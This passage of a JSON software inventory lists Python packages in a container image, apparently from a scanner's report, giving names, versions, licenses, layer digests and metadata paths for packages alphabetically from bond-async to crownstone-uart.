"Identifier": { "PURL": "pkg:pypi/bond-async@0.2.1", "UID": "94170b254c76a7ba" }, "Version": "0.2.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/bond_async-0.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "bosch-alarm-mode2", "Identifier": { "PURL": "pkg:pypi/bosch-alarm-mode2@0.4.10", "UID": "e64e009d9bf0f793" }, "Version": "0.4.10", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/bosch_alarm_mode2-0.4.10.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "boschshcpy", "Identifier": { "PURL": "pkg:pypi/boschshcpy@0.3.5", "UID": "85a6d72a18af1960" }, "Version": "0.3.5", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/boschshcpy-0.3.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "boto3", "Identifier": { "PURL": "pkg:pypi/boto3@1.37.1", "UID": "8454eb7bee76f453" }, "Version": "1.37.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/boto3-1.37.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "botocore", "Identifier": { "PURL": "pkg:pypi/botocore@1.37.1", "UID": "cdcf6194dd05681d" }, "Version": "1.37.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/botocore-1.37.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "bring-api", "Identifier": { "PURL": "pkg:pypi/bring-api@1.1.2", "UID": "7bfc7e26be7ef4db" }, "Version": "1.1.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/bring_api-1.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "broadlink", "Identifier": { "PURL": "pkg:pypi/broadlink@0.19.0", "UID": "6e25ae2f05f65346" }, "Version": "0.19.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/broadlink-0.19.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "brother", "Identifier": { "PURL": "pkg:pypi/brother@6.1.1", "UID": "44f3c5df07a5459" }, "Version": "6.1.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/brother-6.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "brotli", "Identifier": { "PURL": "pkg:pypi/brotli@1.2.0", "UID": "4dba2e2ac117fd39" }, "Version": "1.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:2db683111a32c73fe3776d9705685182c70caa7c4d83770e3b000023633e63bd" }, "FilePath": "usr/local/lib/python3.14/site-packages/brotli-1.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "brottsplatskartan", "Identifier": { "PURL": "pkg:pypi/brottsplatskartan@1.0.5", "UID": "abc3d8b246070214" }, "Version": "1.0.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/brottsplatskartan-1.0.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "brunt", "Identifier": { "PURL": "pkg:pypi/brunt@1.2.0", "UID": "c0f0589b7a13d9a1" }, "Version": "1.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/brunt-1.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "bs4", "Identifier": { "PURL": "pkg:pypi/bs4@0.0.2", "UID": "c4419128e3c18420" }, "Version": "0.0.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/bs4-0.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "bthome-ble", "Identifier": { "PURL": "pkg:pypi/bthome-ble@3.23.4", "UID": "fdd0037f5ebaa3bd" }, "Version": "3.23.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/bthome_ble-3.23.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "bthomehub5-devicelist", "Identifier": { "PURL": "pkg:pypi/bthomehub5-devicelist@0.1.1", "UID": "422a37ffbb8699a2" }, "Version": "0.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/bthomehub5_devicelist-0.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "btsmarthub-devicelist", "Identifier": { "PURL": "pkg:pypi/btsmarthub-devicelist@0.2.3", "UID": "71d439ed6cf5443d" }, "Version": "0.2.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/btsmarthub_devicelist-0.2.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "btsocket", "Identifier": { "PURL": "pkg:pypi/btsocket@0.3.0", "UID": "acddda245d608e24" }, "Version": "0.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/btsocket-0.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "buienradar", "Identifier": { "PURL": "pkg:pypi/buienradar@1.0.9", "UID": "c61820ec09a29007" }, "Version": "1.0.9", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/buienradar-1.0.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "bx_py_utils", "Identifier": { "PURL": "pkg:pypi/bx-py-utils@120", "UID": "d493dc3ee89d6eb6" }, "Version": "120", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/bx_py_utils-120.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "cachebox", "Identifier": { "PURL": "pkg:pypi/cachebox@5.2.3", "UID": "5a5e60e62eaaad20" }, "Version": "5.2.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/cachebox-5.2.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "cached-ipaddress", "Identifier": { "PURL": "pkg:pypi/cached-ipaddress@1.1.2", "UID": "8d5c9f6f328ad095" }, "Version": "1.1.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/cached_ipaddress-1.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "cachetools", "Identifier": { "PURL": "pkg:pypi/cachetools@7.1.4", "UID": "8edfe942d02df155" }, "Version": "7.1.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/cachetools-7.1.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "caio", "Identifier": { "PURL": "pkg:pypi/caio@0.9.25", "UID": "22c78f5fb43e8278" }, "Version": "0.9.25", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/caio-0.9.25.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "caldav", "Identifier": { "PURL": "pkg:pypi/caldav@2.1.0", "UID": "5dbcfea66a5808af" }, "Version": "2.1.0", "Licenses": [ "GPL-3.0-or-later OR Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/caldav-2.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "casttube", "Identifier": { "PURL": "pkg:pypi/casttube@0.2.1", "UID": "2b344ac9fc11e735" }, "Version": "0.2.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/casttube-0.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "cattrs", "Identifier": { "PURL": "pkg:pypi/cattrs@26.1.0", "UID": "a7ee1fda56c14b5a" }, "Version": "26.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/cattrs-26.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "cbor2", "Identifier": { "PURL": "pkg:pypi/cbor2@5.9.0", "UID": "f45ae57392db61e8" }, "Version": "5.9.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/cbor2-5.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "certifi", "Identifier": { "PURL": "pkg:pypi/certifi@2026.6.17", "UID": "8587bb1c6cc3e07c" }, "Version": "2026.6.17", "Licenses": [ "MPL-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/certifi-2026.6.17.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "cffi", "Identifier": { "PURL": "pkg:pypi/cffi@2.0.0", "UID": "404ca2e1e3534c8e" }, "Version": "2.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/cffi-2.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "cfgv", "Identifier": { "PURL": "pkg:pypi/cfgv@3.5.0", "UID": "a4fcd1de9ac627c7" }, "Version": "3.5.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/cfgv-3.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "chacha20poly1305", "Identifier": { "PURL": "pkg:pypi/chacha20poly1305@0.0.3", "UID": "ba31f3ea41495174" }, "Version": "0.0.3", "Licenses": [ "LGPL-2.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/chacha20poly1305-0.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "chacha20poly1305-reuseable", "Identifier": { "PURL": "pkg:pypi/chacha20poly1305-reuseable@0.13.2", "UID": "8e84e3b7c3422fca" }, "Version": "0.13.2", "Licenses": [ "Other/Proprietary License" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/chacha20poly1305_reuseable-0.13.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "charset-normalizer", "Identifier": { "PURL": "pkg:pypi/charset-normalizer@3.4.3", "UID": "ce25be9642907492" }, "Version": "3.4.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/charset_normalizer-3.4.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "chefiq-ble", "Identifier": { "PURL": "pkg:pypi/chefiq-ble@1.0.1", "UID": "a10f2ea1183e8c5" }, "Version": "1.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/chefiq_ble-1.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "chess-com-api", "Identifier": { "PURL": "pkg:pypi/chess-com-api@1.1.0", "UID": "795f8cbb2c0a88bc" }, "Version": "1.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/chess_com_api-1.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "cielo-connect-api", "Identifier": { "PURL": "pkg:pypi/cielo-connect-api@1.0.6", "UID": "f3044c21129c467f" }, "Version": "1.0.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/cielo_connect_api-1.0.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ciscomobilityexpress", "Identifier": { "PURL": "pkg:pypi/ciscomobilityexpress@0.3.9", "UID": "686c5bfb17e5109c" }, "Version": "0.3.9", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ciscomobilityexpress-0.3.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ciso8601", "Identifier": { "PURL": "pkg:pypi/ciso8601@2.3.3", "UID": "c34d193b9016c93d" }, "Version": "2.3.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/ciso8601-2.3.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "clearpasspy", "Identifier": { "PURL": "pkg:pypi/clearpasspy@1.0.2", "UID": "591c239347a1cc80" }, "Version": "1.0.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/clearpasspy-1.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "click", "Identifier": { "PURL": "pkg:pypi/click@8.1.8", "UID": "72c9a0a45ae67909" }, "Version": "8.1.8", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/click-8.1.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "click-log", "Identifier": { "PURL": "pkg:pypi/click-log@0.4.0", "UID": "5a6a31a9bd03401c" }, "Version": "0.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/click_log-0.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "click-plugins", "Identifier": { "PURL": "pkg:pypi/click-plugins@1.1.1.2", "UID": "8d648e00923b456d" }, "Version": "1.1.1.2", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/click_plugins-1.1.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "clx-sdk-xms", "Identifier": { "PURL": "pkg:pypi/clx-sdk-xms@1.0.0", "UID": "641d42b14941de8d" }, "Version": "1.0.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/clx_sdk_xms-1.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "codecov", "Identifier": { "PURL": "pkg:pypi/codecov@2.1.13", "UID": "7e54723377333c88" }, "Version": "2.1.13", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/codecov-2.1.13.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "coinbase-advanced-py", "Identifier": { "PURL": "pkg:pypi/coinbase-advanced-py@1.2.2", "UID": "9da3597ce7966109" }, "Version": "1.2.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/coinbase_advanced_py-1.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "colorama", "Identifier": { "PURL": "pkg:pypi/colorama@0.4.6", "UID": "ad07054f1a9a14c" }, "Version": "0.4.6", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/colorama-0.4.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "coloredlogs", "Identifier": { "PURL": "pkg:pypi/coloredlogs@15.0.1", "UID": "815deab84f2a0d9d" }, "Version": "15.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/coloredlogs-15.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "colorlog", "Identifier": { "PURL": "pkg:pypi/colorlog@6.10.1", "UID": "1dc1026543820be2" }, "Version": "6.10.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/colorlog-6.10.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "colorthief", "Identifier": { "PURL": "pkg:pypi/colorthief@0.2.1", "UID": "67ca490e231a4dd6" }, "Version": "0.2.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/colorthief-0.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "colorzero", "Identifier": { "PURL": "pkg:pypi/colorzero@2.0", "UID": "771987a07889193f" }, "Version": "2.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/colorzero-2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "colour", "Identifier": { "PURL": "pkg:pypi/colour@0.1.5", "UID": "9f3bbb4d613f4d80" }, "Version": "0.1.5", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/colour-0.1.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "commentjson", "Identifier": { "PURL": "pkg:pypi/commentjson@0.9.0", "UID": "d617672f3521bb5a" }, "Version": "0.9.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/commentjson-0.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "commonmark", "Identifier": { "PURL": "pkg:pypi/commonmark@0.9.2", "UID": "d9a208a3cc53b40f" }, "Version": "0.9.2", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/commonmark-0.9.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "compit-inext-api", "Identifier": { "PURL": "pkg:pypi/compit-inext-api@0.9.1", "UID": "da05b52cf11aa93b" }, "Version": "0.9.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/compit_inext_api-0.9.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "concord232", "Identifier": { "PURL": "pkg:pypi/concord232@0.15.1", "UID": "4105e0826f401eed" }, "Version": "0.15.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/concord232-0.15.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "connect_box", "Identifier": { "PURL": "pkg:pypi/connect-box@0.3.1", "UID": "9110af1d38f34cbd" }, "Version": "0.3.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/connect_box-0.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "connio", "Identifier": { "PURL": "pkg:pypi/connio@0.2.0", "UID": "171e24186d43ecc4" }, "Version": "0.2.0", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/connio-0.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "construct", "Identifier": { "PURL": "pkg:pypi/construct@2.10.68", "UID": "4d79d5e7226d7366" }, "Version": "2.10.68", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/construct-2.10.68.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "construct-typing", "Identifier": { "PURL": "pkg:pypi/construct-typing@0.6.2", "UID": "b24b2806768b4e18" }, "Version": "0.6.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/construct_typing-0.6.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "convertertools", "Identifier": { "PURL": "pkg:pypi/convertertools@1.1.0", "UID": "ee608f9e7bceab75" }, "Version": "1.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/convertertools-1.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "cookidoo-api", "Identifier": { "PURL": "pkg:pypi/cookidoo-api@0.17.2", "UID": "99764943bb57ca4" }, "Version": "0.17.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/cookidoo_api-0.17.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "coverage", "Identifier": { "PURL": "pkg:pypi/coverage@7.15.0", "UID": "237ad26c74c7935d" }, "Version": "7.15.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/coverage-7.15.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "crc", "Identifier": { "PURL": "pkg:pypi/crc@7.1.0", "UID": "3d4bdb80def6deda" }, "Version": "7.1.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/crc-7.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "crccheck", "Identifier": { "PURL": "pkg:pypi/crccheck@1.3.1", "UID": "a6dad9aa8fc6dc12" }, "Version": "1.3.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/crccheck-1.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "crcmod", "Identifier": { "PURL": "pkg:pypi/crcmod@1.7", "UID": "2f42c725758e5ebe" }, "Version": "1.7", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/crcmod-1.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "croniter", "Identifier": { "PURL": "pkg:pypi/croniter@6.2.4", "UID": "a15a5e6220c90fcb" }, "Version": "6.2.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/croniter-6.2.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "cronsim", "Identifier": { "PURL": "pkg:pypi/cronsim@2.7", "UID": "2a65e3d8fd7dcc0f" }, "Version": "2.7", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/cronsim-2.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "crownstone-cloud", "Identifier": { "PURL": "pkg:pypi/crownstone-cloud@1.4.11", "UID": "51e939243c585be6" }, "Version": "1.4.11", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/crownstone_cloud-1.4.11.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "crownstone-core", "Identifier": { "PURL": "pkg:pypi/crownstone-core@3.2.1", "UID": "5eec0b5372704611" }, "Version": "3.2.1", "Licenses": [ "UNKNOWN" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/crownstone_core-3.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "crownstone-sse", "Identifier": { "PURL": "pkg:pypi/crownstone-sse@2.0.5", "UID": "cd328f0f6cd29bab" }, "Version": "2.0.5", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/crownstone_sse-2.0.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "crownstone-uart", "Identifier": { "PURL": "pkg:pypi/crownstone-uart@2.1.0", "UID": "d48943ed3ed83894" }, "Version": "2.1.0", "Licenses": [ "UNKNOWN" ], "Layer": { "DiffID": 